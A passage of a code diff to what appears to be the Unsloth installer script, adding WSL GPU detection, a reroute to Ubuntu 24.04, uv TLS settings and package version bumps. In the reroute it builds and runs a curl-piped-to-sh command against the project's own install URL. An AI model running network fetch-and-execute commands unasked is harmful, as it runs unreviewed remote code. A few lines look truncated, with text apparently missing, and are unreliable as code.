#6503). Hand uv a copy. + case "$_OVERRIDES_FILE" in + *[[:space:]]*) + _UV_OVERRIDE_TMPDIR=$(mktemp -d 2>/dev/null) || _UV_OVERRIDE_TMPDIR="" + case "$_UV_OVERRIDE_TMPDIR" in + "") ;; + *[[:space:]]*) rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true; _UV_OVERRIDE_TMPDIR="" ;; + *) + if cp "$_OVERRIDES_FILE" "$_UV_OVERRIDE_TMPDIR/overrides-darwin-arm64.txt" 2>/dev/null; then + _OVERRIDES_FILE="$_UV_OVERRIDE_TMPDIR/overrides-darwin-arm64.txt" + else + rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true + _UV_OVERRIDE_TMPDIR="" + fi + ;; + esac + ;; + esac export UV_OVERRIDE="$_OVERRIDES_FILE" fi fi @@ -1441,18 +1491,193 @@ elif [ "$OS" = "macos" ]; then fi tauri_diag_marker "$_TAURI_INITIAL_GPU_BRANCH" "none" -# ── Check system dependencies ── -# cmake and git are needed by unsloth studio setup to build the GGUF inference -# engine (llama.cpp). build-essential and libcurl-dev are also needed on Linux. -tauri_log "STEP" "Checking system dependencies" -MISSING="" +# AMD GPU name from the Windows host via WMI, or empty. Discrete cards aren't in +# /proc/cpuinfo, so ask Windows. Cached ("-" = negative), self-contained, bounded +# to 10s. Defined here so the reroute below can use it before _run_bounded exists. +_WSL_AMD_GPU_NAME_CACHE="" +_wsl_amd_gpu_name() { + if [ -n "$_WSL_AMD_GPU_NAME_CACHE" ]; then + [ "$_WSL_AMD_GPU_NAME_CACHE" = "-" ] && return 1 + printf '%s' "$_WSL_AMD_GPU_NAME_CACHE"; return 0 + fi + command -v powershell.exe >/dev/null 2>&1 || { _WSL_AMD_GPU_NAME_CACHE="-"; return 1; } + _wag_ps="(Get-CimInstance Win32_VideoController | Where-Object { \$_.Name -match 'AMD|Radeon' } | Select-Object -First 1).Name" + if command -v timeout >/dev/null 2>&1; then + _wag_n="$(timeout 10 powershell.exe -NoProfile -Command "$_wag_ps" 2>/dev/null | tr -d '\r\n\000')" + else + _wag_n="$(powershell.exe -NoProfile -Command "$_wag_ps" 2>/dev/null | tr -d '\r\n\000')" + fi + if [ -n "$_wag_n" ]; then _WSL_AMD_GPU_NAME_CACHE="$_wag_n"; printf '%s' "$_wag_n"; return 0; fi + _WSL_AMD_GPU_NAME_CACHE="-"; return 1 +} -command -v cmake >/dev/null 2>&1 || MISSING="$MISSING cmake" -command -v git >/dev/null 2>&1 || MISSING="$MISSING git" +# ── Bounded command runner ── +# Runs a command under a 10s timeout when the `timeout` binary is available, +# otherwise runs it unbounded. Keeps a wedged nvidia-smi (blocking during +# driver init or after a reset) from hanging the installer: a timed-out probe +# exits nonzero and is treated exactly like a failed probe. No-op semantics on +# hosts without `timeout` (e.g. macOS) or when the probe is healthy. +_run_bounded() { + if command -v timeout >/dev/null 2>&1; then + timeout 10 "$@" + else + "$@" + fi +} + +# Returns 0 (true) when CUDA_VISIBLE_DEVICES is set to "" or "-1", i.e. every +# NVIDIA device is deliberately hidden (mixed AMD+NVIDIA hosts steering work to +# the AMD card). Unset means all devices visible. nvidia-smi ignores this env +# var, so the probes below cannot see the distinction on their own. +_cvd_hides_nvidia() { + [ "${CUDA_VISIBLE_DEVICES+set}" = "set" ] || return 1 + _cvd_trim=$(printf '%s' "$CUDA_VISIBLE_DEVICES" | tr -d '[:space:]') + [ -z "$_cvd_trim" ] || [ "$_cvd_trim" = "-1" ] +} + +# ── NVIDIA usable-GPU helper ── +# Returns 0 (true) if an NVIDIA GPU is present and usable. +# Primary probe: nvidia-smi -L. Fallback: /proc/driver/nvidia/gpus/ sysfs, +# which the NVIDIA driver populates on Linux regardless of nvidia-smi state +# -- handles PATH gaps, subprocess timeouts, and driver init races that +# could otherwise cause nvidia-smi to fail and silence NVIDIA detection. +# A GPU hidden via CUDA_VISIBLE_DEVICES=""/-1 counts as NOT usable (matches +# install_llama_prebuilt.py has_usable_nvidia), so AMD/CPU routing still runs. +_has_usable_nvidia_gpu() { + if _cvd_hides_nvidia; then + return 1 + fi + _nvsmi="" + if command -v nvidia-smi >/dev/null 2>&1; then + _nvsmi="nvidia-smi" + elif [ -x "/usr/bin/nvidia-smi" ]; then + _nvsmi="/usr/bin/nvidia-smi" + fi + if [ -n "$_nvsmi" ]; then + if _run_bounded "$_nvsmi" -L 2>/dev/null | awk '/^GPU[[:space:]]+[0-9]+:/{found=1} END{exit !found}'; then + return 0 + fi + fi + # Fallback: NVIDIA driver exposes one subdir per GPU under this path. + if [ -d /proc/driver/nvidia/gpus ] && \ + [ -n "$(ls -A /proc/driver/nvidia/gpus 2>/dev/null)" ]; then + return 0 + fi + return 1 +} + +# Strix Halo ROCm-on-WSL only targets Ubuntu 24.04. On a newer distro (e.g. 26.04) +# with a 24.04 distro present, re-run the install there and stop; else fall through +# to CPU + the `wsl --install` hint below (never auto-create a distro). Runs before +# the STUDIO_HOME mkdir/venv so the origin distro is untouched. +_maybe_reroute_strixhalo_to_2404() { + [ "${OS:-}" = "wsl" ] || return 0 + [ "${SKIP_TORCH:-false}" = "false" ] || return 0 + [ "${UNSLOTH_SKIP_ROCM_WSL_SETUP:-0}" = "1" ] && return 0 + [ "${UNSLOTH_WSL_REROUTED:-0}" = "1" ] && return 0 + [ -e /dev/dxg ] || return 0 + # A usable NVIDIA GPU (common on hybrid AMD+NVIDIA hosts) means the CUDA path works on + # this distro, so don't reroute for AMD. _has_usable_nvidia_gpu (moved above) honors + # CUDA_VISIBLE_DEVICES=""/-1 and the /proc/driver/nvidia fallback for PATH/timeout gaps. + if _has_usable_nvidia_gpu; then return 0; fi + # Strix APUs show in /proc/cpuinfo; discrete cards don't, so also try WMI. Either reroutes. + if ! grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null \ + && ! _wsl_amd_gpu_name >/dev/null 2>&1; then + return 0 + fi + # Already ROCm-on-WSL? leave a working GPU alone, whatever the version. + if [ -e /opt/rocm/lib/librocdxg.so ] || [ -e /opt/rocm/lib64/librocdxg.so ]; then + return 0 + fi + _rr_ver="" + [ -r /etc/os-release ] && _rr_ver=$(. /etc/os-release 2>/dev/null; printf '%s' "${VERSION_ID:-}") + # The bootstrap (scripts/install_rocm_wsl_strixhalo.sh) dies on any VERSION_ID but + # 24.04 and pins the noble repo, so 24.04 is the sole GPU-supported target; leave a + # 24.04 user alone. (Working ROCm on other versions was caught by librocdxg above.) + case "$_rr_ver" in 24.04) return 0 ;; esac + # Distro is now unsupported. If we can't reroute to a 24.04 target, stay CPU-only + # AND skip the later origin-distro ROCm bootstrap (it ignores distro version, so it + # would otherwise install ROCm into 26.04 etc.). + command -v wsl.exe >/dev/null 2>&1 || { UNSLOTH_SKIP_ROCM_WSL_SETUP=1; return 0; } + # Route only to an installed Ubuntu-24.04 (bootstrap's only target). Match the whole + # line (one distro per line from wsl.exe -l -q), not a substring, so "Ubuntu-24.04-test" + # can't masquerade as it and then fail `wsl -d`. + # || true: no match is expected, not an error (script runs under set -e). + _rr_distros=$(wsl.exe -l -q 2>/dev/null | tr -d '\000\r') + _rr_target=$(printf '%s\n' "$_rr_distros" | grep -ixF "Ubuntu-24.04" | head -n1) || true + [ -n "$_rr_target" ] || { + substep "ROCm-on-WSL (GPU) needs Ubuntu 24.04; this distro is Ubuntu ${_rr_ver:-unknown}." "$C_WARN" + substep "No Ubuntu-24.04 WSL distro found; staying CPU-only. Install Ubuntu-24.04 and re-run there for GPU." "$C_WARN" + UNSLOTH_SKIP_ROCM_WSL_SETUP=1 + return 0 + } + + echo "" + substep "ROCm-on-WSL (GPU) needs Ubuntu 24.04; this distro is Ubuntu ${_rr_ver:-unknown}." "$C_WARN" + substep "Found an existing $_rr_target distro -- continuing the GPU install there." "$C_OK" + # A --local checkout can't be replayed via curl|sh (the repo isn't in the target + # distro), so tell the user to re-run there rather than silently run a different install. + if [ "$STUDIO_LOCAL_INSTALL" = true ]; then + substep "This is a --local install; re-run it from $_rr_target instead:" "$C_WARN" + substep " wsl -d $_rr_target -- bash -lc 'cd && ./install.sh --local'" "$C_WARN" + substep "Continuing CPU-only in Ubuntu ${_rr_ver:-this distro} for now." "$C_WARN" + # Unsupported distro, can't reroute a --local checkout: skip the origin ROCm bootstrap. + UNSLOTH_SKIP_ROCM_WSL_SETUP=1 + return 0 + fi + # Forward the caller's options/env (custom package/python/home) so the rerouted + # install matches what was asked for, not a default install. + _rr_q() { printf "'%s'" "$(printf '%s' "$1" | sed "s/'/'\\\\''/g")"; } + _rr_exports="set -o pipefail; export UNSLOTH_WSL_REROUTED=1" + [ "$_STUDIO_HOME_REDIRECT" = "env" ] && _rr_exports="$_rr_exports; export UNSLOTH_STUDIO_HOME=$(_rr_q "$STUDIO_HOME")" + # Forward explicit ROCm-bootstrap consent (e.g. Tauri) so the child auto-enables the + # GPU instead of falling back to the desktop-app prompt path. + [ "${UNSLOTH_ROCM_WSL_AUTO:-0}" = "1" ] && _rr_exports="$_rr_exports; export UNSLOTH_ROCM_WSL_AUTO=1" + _rr_args="" + [ "$PACKAGE_NAME" != "unsloth" ] && _rr_args="$_rr_args --package $(_rr_q "$PACKAGE_NAME")" + [ -n "$_USER_PYTHON" ] && _rr_args="$_rr_args --python $(_rr_q "$_USER_PYTHON")" + [ "$_VERBOSE" = true ] && _rr_args="$_rr_args --verbose" + [ "$TAURI_MODE" = true ] && _rr_args="$_rr_args --tauri" + if [ -n "${UNSLOTH_WSL_REROUTE_CMD:-}" ]; then + _rr_cmd="$UNSLOTH_WSL_REROUTE_CMD" # user took full control + elif [ -n "$_rr_args" ]; then + _rr_cmd="curl -fsSL https://unsloth.ai/install.sh | sh -s --$_rr_args" + else + _rr_cmd="curl -fsSL https://unsloth.ai/install.sh | sh" + fi + # pipefail so a failed curl in `curl | sh` isn't masked by sh exiting 0 on empty + # input (which would wrongly report success and exit 0 the parent installer). + _rr_rc=0 + wsl.exe -d "$_rr_target" -- bash -lc "$_rr_exports; $_rr_cmd" || _rr_rc=$? + if [ "$_rr_rc" -eq 0 ]; then + exit 0 + fi + # In Tauri mode the child uses exit 2 ([TAURI:NEED_SUDO]) to ask the desktop app to + # elevate for the target distro; the child already printed the NEED_SUDO line, so + # propagate the code instead of masking it as a reroute failure and dropping to CPU. + if [ "$TAURI_MODE" = true ] && [ "$_rr_rc" -eq 2 ]; then + exit 2 + fi + substep "Could not auto-continue in $_rr_target; run it yourself:" "$C_WARN" + substep " wsl -d $_rr_target -- bash -lc 'curl -fsSL https://unsloth.ai/install.sh | sh'" + substep "Continuing CPU-only in Ubuntu ${_rr_ver:-this distro} for now." "$C_WARN" + # Reroute failed; don't let the later bootstrap install ROCm into this unsupported + # distro -- stay CPU-only. + UNSLOTH_SKIP_ROCM_WSL_SETUP=1 + return 0 +} +_maybe_reroute_strixhalo_to_2404 || true + +# ── Check system dependencies ── +# cmake/git are only needed to *build* llama.cpp from source. Studio downloads a +# prebuilt by default, and setup.sh self-skips the source build when they're +# absent -- so macOS doesn't block on cmake (requiring it would force a manual +# Homebrew install). Linux keeps requiring them; its package manager has them. +tauri_log "STEP" "Checking system dependencies" case "$OS" in macos) - # Xcode Command Line Tools provide the C/C++ compiler + # Xcode Command Line Tools provide the C/C++ compiler and git. if ! xcode-select -p >/dev/null 2>&1; then echo "" echo "==> Xcode Command Line Tools are required." @@ -1461,8 +1686,19 @@ case "$OS" in echo " After the installation completes, please re-run this script." exit 1 fi + # cmake is only needed for a source build; the default prebuilt path + # doesn't use it, so its absence is not fatal -- no Homebrew prerequisite. + if command -v cmake >/dev/null 2>&1; then + step "deps" "all system dependencies found" + else + step "deps" "using prebuilt llama.cpp (cmake not found)" "$C_WARN" + substep "Install cmake only if you want a source build: brew install cmake" + fi ;; linux|wsl) + MISSING="" + command -v cmake >/dev/null 2>&1 || MISSING="$MISSING cmake" + command -v git >/dev/null 2>&1 || MISSING="$MISSING git" # curl or wget is needed for downloads; check both if ! command -v curl >/dev/null 2>&1 && ! command -v wget >/dev/null 2>&1; then MISSING="$MISSING curl" @@ -1470,27 +1706,12 @@ case "$OS" in command -v gcc >/dev/null 2>&1 || MISSING="$MISSING build-essential" # libcurl dev headers for llama.cpp HTTPS support command -v curl-config >/dev/null 2>&1 || MISSING="$MISSING libcurl4-openssl-dev" - ;; -esac -MISSING=$(echo "$MISSING" | sed 's/^ *//') - -if [ -n "$MISSING" ]; then - echo "" - step "deps" "missing: $MISSING" "$C_WARN" - substep "These are needed to build the GGUF inference engine." - - case "$OS" in - macos) - if ! command -v brew >/dev/null 2>&1; then - echo "" - echo " Homebrew is required to install them." - echo " Install Homebrew from https://brew.sh then re-run this script." - exit 1 - fi - brew install $MISSING /dev/null 2>&1; then _smart_apt_install $MISSING else @@ -1505,12 +1726,12 @@ if [ -n "$MISSING" ]; then echo " openSUSE: sudo zypper install cmake git gcc gcc-c++ make libcurl-devel" exit 1 fi - ;; - esac - echo "" -else - step "deps" "all system dependencies found" -fi + echo "" + else + step "deps" "all system dependencies found" + fi + ;; +esac # ── Install uv ── tauri_log "STEP" "Installing uv package manager" @@ -1527,6 +1748,21 @@ export UV_HTTP_RETRIES : "${UV_HTTP_TIMEOUT:=180}" export UV_HTTP_TIMEOUT +# macOS: trust the system Keychain so uv uses SecureTransport instead of rustls. +# Required behind TLS-inspecting proxies (Cisco Umbrella, Zscaler, etc.) which +# present their own CA certificate. rustls (uv's default) ignores the Keychain +# and rejects intercepted connections with "invalid peer certificate: UnknownIssuer". +# Set both vars: UV_SYSTEM_CERTS is the modern one (uv >= 0.11), UV_NATIVE_TLS the +# legacy one understood by uv 0.8.16-0.10.x, which the installer keeps if already +# present (UV_MIN_VERSION) and which ignores UV_SYSTEM_CERTS. Mirror the choice onto +# both so it works on either uv. Opt out with UV_SYSTEM_CERTS=0. +if [ "$OS" = "macos" ]; then + : "${UV_SYSTEM_CERTS:=1}" + : "${UV_NATIVE_TLS:=$UV_SYSTEM_CERTS}" +fi +[ -n "${UV_SYSTEM_CERTS:-}" ] && export UV_SYSTEM_CERTS +[ -n "${UV_NATIVE_TLS:-}" ] && export UV_NATIVE_TLS + version_ge() { # returns 0 if $1 >= $2 _a=$1 @@ -1814,61 +2050,6 @@ _has_amd_rocm_gpu() { return 1 } -# ── Bounded command runner ── -# Runs a command under a 10s timeout when the `timeout` binary is available, -# otherwise runs it unbounded. Keeps a wedged nvidia-smi (blocking during -# driver init or after a reset) from hanging the installer: a timed-out probe -# exits nonzero and is treated exactly like a failed probe. No-op semantics on -# hosts without `timeout` (e.g. macOS) or when the probe is healthy. -_run_bounded() { - if command -v timeout >/dev/null 2>&1; then - timeout 10 "$@" - else - "$@" - fi -} - -# Returns 0 (true) when CUDA_VISIBLE_DEVICES is set to "" or "-1", i.e. every -# NVIDIA device is deliberately hidden (mixed AMD+NVIDIA hosts steering work to -# the AMD card). Unset means all devices visible. nvidia-smi ignores this env -# var, so the probes below cannot see the distinction on their own. -_cvd_hides_nvidia() { - [ "${CUDA_VISIBLE_DEVICES+set}" = "set" ] || return 1 - _cvd_trim=$(printf '%s' "$CUDA_VISIBLE_DEVICES" | tr -d '[:space:]') - [ -z "$_cvd_trim" ] || [ "$_cvd_trim" = "-1" ] -} - -# ── NVIDIA usable-GPU helper ── -# Returns 0 (true) if an NVIDIA GPU is present and usable. -# Primary probe: nvidia-smi -L. Fallback: /proc/driver/nvidia/gpus/ sysfs, -# which the NVIDIA driver populates on Linux regardless of nvidia-smi state -# -- handles PATH gaps, subprocess timeouts, and driver init races that -# could otherwise cause nvidia-smi to fail and silence NVIDIA detection. -# A GPU hidden via CUDA_VISIBLE_DEVICES=""/-1 counts as NOT usable (matches -# install_llama_prebuilt.py has_usable_nvidia), so AMD/CPU routing still runs. -_has_usable_nvidia_gpu() { - if _cvd_hides_nvidia; then - return 1 - fi - _nvsmi="" - if command -v nvidia-smi >/dev/null 2>&1; then - _nvsmi="nvidia-smi" - elif [ -x "/usr/bin/nvidia-smi" ]; then - _nvsmi="/usr/bin/nvidia-smi" - fi - if [ -n "$_nvsmi" ]; then - if _run_bounded "$_nvsmi" -L 2>/dev/null | awk '/^GPU[[:space:]]+[0-9]+:/{found=1} END{exit !found}'; then - return 0 - fi - fi - # Fallback: NVIDIA driver exposes one subdir per GPU under this path. - if [ -d /proc/driver/nvidia/gpus ] && \ - [ -n "$(ls -A /proc/driver/nvidia/gpus 2>/dev/null)" ]; then - return 0 - fi - return 1 -} - # ── Detect GPU and choose PyTorch index URL ── # Mirrors Get-TorchIndexUrl in install.ps1. # On CPU-only machines this returns the cpu index, avoiding the solver @@ -2017,9 +2198,9 @@ _expected_torch_flavor_tag() { esac } -# Whether index ($1) supports a plain --index-url reinstall. pytorch.org cuXXX / +# Whether index ($1) supports a plain --default-index reinstall. pytorch.org cuXXX / # rocmX.Y AND the repo.amd.com gfx* indexes are all PEP 503 simple indexes that uv -# resolves (torch + every transitive dep) via --index-url -- the same URLs the +# resolves (torch + every transitive dep) via --default-index -- the same URLs the # fresh-install paths above already use -- so a stale wheel is auto-repairable. # Unknown/odd-mirror leaves -> no, so we warn rather than risk a wrong reinstall. _torch_index_repairable() { @@ -2182,19 +2363,19 @@ _persist_rocm_wsl_dropin() { fi } +# _wsl_amd_gpu_name is defined earlier so both the reroute and this bootstrap can use it. _maybe_bootstrap_rocm_wsl() { [ "${OS:-}" = "wsl" ] || return 0 [ "${SKIP_TORCH:-false}" = "false" ] || return 0 [ "${UNSLOTH_SKIP_ROCM_WSL_SETUP:-0}" = "1" ] && return 0 # Leave any already-usable GPU completely alone (NVIDIA, or working ROCm). if _has_usable_nvidia_gpu; then return 0; fi - # "Usable ROCm" here = rocminfo enumerates the gfx1151 agent. Don't use the - # generic _has_amd_rocm_gpu: its broad gfx match accepts "gfx11-generic" and - # would skip this bootstrap while the real GPU is still unusable. awk consumes - # all input, so rocminfo isn't SIGPIPE'd like `grep -q` would under pipefail. + # Usable ROCm = rocminfo enumerates a real GPU agent: gfx[1-9] (excludes gfx000, + # the CPU agent) and not the "gfx11-generic" fallback. awk consumes all input so + # rocminfo isn't SIGPIPE'd like `grep -q` under pipefail. _ensure_rocm_probe_env if command -v rocminfo >/dev/null 2>&1 && \ - rocminfo 2>/dev/null | awk '/Name:[[:space:]]*gfx1151/{found=1} END{exit !found}'; then + rocminfo 2>/dev/null | awk '/Name:[[:space:]]*gfx[1-9]/ && !/generic/{found=1} END{exit !found}'; then # rocminfo may work only via the transient env _ensure_rocm_probe_env # just set, which dies with the installer. Persist the drop-in so login # shells (Studio, llama.cpp) inherit it -- else a reinstall over an @@ -2204,9 +2385,12 @@ _maybe_bootstrap_rocm_wsl() { fi # WSL GPU passthrough device must exist (present on any WSL2 GPU host). [ -e /dev/dxg ] || return 0 - # Only Strix Halo (gfx1151): rocminfo can't tell us the arch yet, so match - # the CPU model string WSL exposes (e.g. "AMD Ryzen AI Max+ ... Radeon 8060S"). - grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null || return 0 + # Strix APUs show in /proc/cpuinfo (the CPU model); discrete cards don't, so also + # ask the Windows host. Either signal suffices; the bootstrap detects arch from rocminfo. + if ! grep -qiE 'Ryzen AI Max|Radeon 80[0-9]0S|Strix Halo' /proc/cpuinfo 2>/dev/null \ + && ! _wsl_amd_gpu_name >/dev/null 2>&1; then + return 0 + fi command -v bash >/dev/null 2>&1 || return 0 # Fast path: already configured (librocdxg present) but launched from a @@ -2224,7 +2408,8 @@ _maybe_bootstrap_rocm_wsl() { fi echo "" - substep "Detected AMD Strix Halo (Radeon 8000S) in WSL with no ROCm runtime yet." "$C_WARN" + _rw_gpu="$(_wsl_amd_gpu_name 2>/dev/null || true)"; [ -n "$_rw_gpu" ] || _rw_gpu="an AMD GPU" + substep "Detected ${_rw_gpu} in WSL with no ROCm runtime yet." "$C_WARN" substep "Setting up ROCm-on-WSL (ROCm 7.2 + librocdxg) automatically to enable this GPU." substep "One-time, uses sudo and a large download. (skip: re-run with UNSLOTH_SKIP_ROCM_WSL_SETUP=1)" @@ -2529,7 +2714,7 @@ if [ "$_MIGRATED" = true ]; then # to prevent transitive torch resolution. run_install_cmd_retry "install unsloth (migrated no-torch)" uv pip install --python "$_VENV_PY" --no-deps \ --reinstall-package unsloth --reinstall-package unsloth-zoo \ - "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" + "unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2" # Resolve pydantic WITH deps so pip pins pydantic-core to the # matching version (no-torch-runtime.txt below is --no-deps). # All transitive deps are torch-free. @@ -2540,9 +2725,11 @@ if [ "$_MIGRATED" = true ]; then run_install_cmd_retry "install no-torch runtime deps" uv pip install --python "$_VENV_PY" --no-deps -r "$_NO_TORCH_RT" fi else + # Pin mlx-lm away from 0.31.3 here too: a curl-piped migration has no + # overrides file, so UV_OVERRIDE is unset and this positional is the only cover. run_install_cmd_retry "install unsloth (migrated)" uv pip install --python "$_VENV_PY" \ --reinstall-package unsloth --reinstall-package unsloth-zoo \ - "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" + "unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2" ${_MLX_LM_EXCLUDE_ARG:-} fi if [ "$STUDIO_LOCAL_INSTALL" = true ]; then substep "overlaying local repo (editable)..." @@ -2565,7 +2752,7 @@ if [ "$_MIGRATED" = true ]; then substep "repairing ROCm torch (overwritten by dependency resolution)..." run_install_cmd_retry "repair ROCm torch" uv pip install --python "$_VENV_PY" \ "$TORCH_CONSTRAINT" torchvision torchaudio \ - --index-url "$TORCH_INDEX_URL" \ + --default-index "$TORCH_INDEX_URL" \ --force-reinstall fi ;; @@ -2691,7 +2878,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then substep "[WARN] Radeon repo lacks a compatible wheel set for this Python; falling back to ROCm index ($TORCH_INDEX_URL)" "$C_WARN" run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \ "$TORCH_CONSTRAINT" torchvision torchaudio \ - --index-url "$TORCH_INDEX_URL" + --default-index "$TORCH_INDEX_URL" else substep "installing PyTorch from Radeon repo (${_RADEON_BASE_URL})..." # Pass explicit wheel URLs so the matched trio is @@ -2714,18 +2901,18 @@ elif [ -n "$TORCH_INDEX_URL" ]; then substep "[WARN] Radeon repo unavailable; falling back to ROCm index ($TORCH_INDEX_URL)" "$C_WARN" run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \ "$TORCH_CONSTRAINT" torchvision torchaudio \ - --index-url "$TORCH_INDEX_URL" + --default-index "$TORCH_INDEX_URL" fi else substep "[WARN] Radeon GPU detected but could not detect full ROCm version; falling back to ROCm index" "$C_WARN" run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \ "$TORCH_CONSTRAINT" torchvision torchaudio \ - --index-url "$TORCH_INDEX_URL" + --default-index "$TORCH_INDEX_URL" fi else substep "installing PyTorch ($TORCH_INDEX_URL)..." run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" "$TORCH_CONSTRAINT" torchvision torchaudio \ - --index-url "$TORCH_INDEX_URL" + --default-index "$TORCH_INDEX_URL" fi # AMD ROCm: install bitsandbytes (once, after torch, for all ROCm paths). # Gate on SKIP_TORCH=false so a user running with --no-torch on a ROCm @@ -2746,7 +2933,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then # runtime deps (typer, safetensors, transformers, etc.) with --no-deps. run_install_cmd_retry "install unsloth (no-torch)" uv pip install --python "$_VENV_PY" --no-deps \ --upgrade-package unsloth --upgrade-package unsloth-zoo \ - "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" + "unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2" # Same pydantic-with-deps trick as the migrated branch. run_install_cmd_retry "install pydantic (with deps for compatible core)" \ uv pip install --python "$_VENV_PY" pydantic @@ -2764,7 +2951,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then fi elif [ "$STUDIO_LOCAL_INSTALL" = true ]; then run_install_cmd_retry "install unsloth (local)" uv pip install --python "$_VENV_PY" \ - --upgrade-package unsloth "unsloth>=2026.6.8" "unsloth-zoo>=2026.6.6" + --upgrade-package unsloth "unsloth>=2026.7.2" "unsloth-zoo>=2026.7.2" substep "overlaying local repo (editable)..." run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps substep "overlaying unsloth-zoo from git main..." @@ -2781,7 +2968,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then "unsloth @ git+https://github.com/unslothai/unsloth@${UNSLOTH_INSTALL_REF}" unsloth-zoo else run_install_cmd_retry "install unsloth" uv pip install --python "$_VENV_PY" \ - --upgrade-package unsloth -- "$PACKAGE_NAME" + --upgrade-package unsloth -- "$PACKAGE_NAME" ${_MLX_LM_EXCLUDE_ARG:-} fi # aarch64 + NVIDIA (DGX Spark / GB10 / N1X): unsloth's x86_64-oriented cuXXX # extras break 4-bit QLoRA, but aarch64 manylinux wheels work (verified on @@ -2807,7 +2994,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then substep "repairing ROCm torch (overwritten by dependency resolution)..." run_install_cmd_retry "repair ROCm torch" uv pip install --python "$_VENV_PY" \ "$TORCH_CONSTRAINT" torchvision torchaudio \ - --index-url "$TORCH_INDEX_URL" \ + --default-index "$TORCH_INDEX_URL" \ --force-reinstall fi ;; @@ -2818,7 +3005,7 @@ else tauri_log "STEP" "Installing Unsloth" substep "installing unsloth (this may take a few minutes)..." if [ "$STUDIO_LOCAL_INSTALL" = true ]; then - run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.6.6" "unsloth>=2026.6.8" --torch-backend=auto + run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" "unsloth-zoo>=2026.7.2" "unsloth>=2026.7.2" --torch-backend=auto substep "overlaying local repo (editable)..." run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps substep "overlaying unsloth-zoo from git main..." @@ -2842,14 +3029,14 @@ if [ "$SKIP_TORCH" = false ] && [ -n "${TORCH_INDEX_URL:-}" ]; then _installed_torch_ver=$("$_VENV_PY" -c "import torch; print(torch.__version__)" 2>/dev/null || true) _installed_torch_tag="" [ -n "$_installed_torch_ver" ] && _installed_torch_tag=$(_torch_flavor_tag "$_installed_torch_ver") - # Repair when flavor is wrong AND the index is plain --index-url reinstallable + # Repair when flavor is wrong AND the index is plain --default-index reinstallable # (cuXXX / rocmX.Y / repo.amd.com gfx*); an unknown mirror leaf -> warn only. if [ -n "$_installed_torch_tag" ] && [ "$_installed_torch_tag" != "$_expected_torch_tag" ] \ && [ "$(_torch_index_repairable "$TORCH_INDEX_URL")" = "yes" ]; then substep "PyTorch flavor mismatch (installed $_installed_torch_tag, need $_expected_torch_tag) -- reinstalling correct build..." run_install_cmd "reinstall PyTorch ($_expected_torch_tag)" uv pip install --python "$_VENV_PY" \ "$TORCH_CONSTRAINT" torchvision torchaudio \ - --index-url "$TORCH_INDEX_URL" \ + --default-index "$TORCH_INDEX_URL" \ --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio _installed_torch_ver=$("$_VENV_PY" -c "import torch; print(torch.__version__)" 2>/dev/null || true) _installed_torch_tag="" @@ -2860,7 +3047,7 @@ if [ "$SKIP_TORCH" = false ] && [ -n "${TORCH_INDEX_URL:-}" ]; then substep "[WARN] PyTorch is CPU-only but a $_expected_torch_tag GPU build was expected for this machine." "$C_WARN" substep "[WARN] Training and GPU inference will run on CPU until this is fixed." "$C_WARN" substep "[WARN] Re-run this installer, or reinstall the GPU build manually:" "$C_WARN" - substep "[WARN] uv pip install --python \"$_VENV_PY\" \"$TORCH_CONSTRAINT\" torchvision torchaudio --index-url $TORCH_INDEX_URL --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio" "$C_WARN" + substep "[WARN] uv pip install --python \"$_VENV_PY\" \"$TORCH_CONSTRAINT\" torchvision torchaudio --default-index $TORCH_INDEX_URL --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio" "$C_WARN" fi fi fi @@ -2921,6 +3108,13 @@ _run_setup_with_studio_home() { "$@" fi } +if [ -n "$_WITH_LLAMA_CPP_DIR" ]; then + if [ ! -d "$_WITH_LLAMA_CPP_DIR" ]; then + echo "[ERROR] --with-llama-cpp-dir path does not exist: $_WITH_LLAMA_CPP_DIR" >&2 + exit 1 + fi + _WITH_LLAMA_CPP_DIR="$(CDPATH= cd -P -- "$_WITH_LLAMA_CPP_DIR" && pwd -P)" +fi if [ "$STUDIO_LOCAL_INSTALL" = true ]; then _run_setup_with_studio_home env \ SKIP_STUDIO_BASE="$_SKIP_BASE" \ @@ -2929,6 +3123,7 @@ if [ "$STUDIO_LOCAL_INSTALL" = true ]; then STUDIO_LOCAL_INSTALL=1 \ STUDIO_LOCAL_REPO="$_REPO_ROOT" \ UNSLOTH_NO_TORCH="$SKIP_TORCH" \ + UNSLOTH_LOCAL_LLAMA_CPP_DIR="$_WITH_LLAMA_CPP_DIR" \ bash "$SETUP_SH" =2026.6.6", + "unsloth_zoo>=2026.7.2", "wheel>=0.42.0", "packaging", "numpy", @@ -93,7 +95,7 @@ huggingfacenotorch = [ ] huggingface = [ "unsloth[huggingfacenotorch]", - "unsloth_zoo>=2026.6.6", + "unsloth_zoo>=2026.7.2", "torchvision", "unsloth[triton]", ] @@ -254,10 +256,6 @@ cu118onlytorch270 = [ "xformers @ https://download.pytorch.org/whl/cu118/xformers-0.0.30-cp310-cp310-manylinux_2_28_x86_64.whl ; 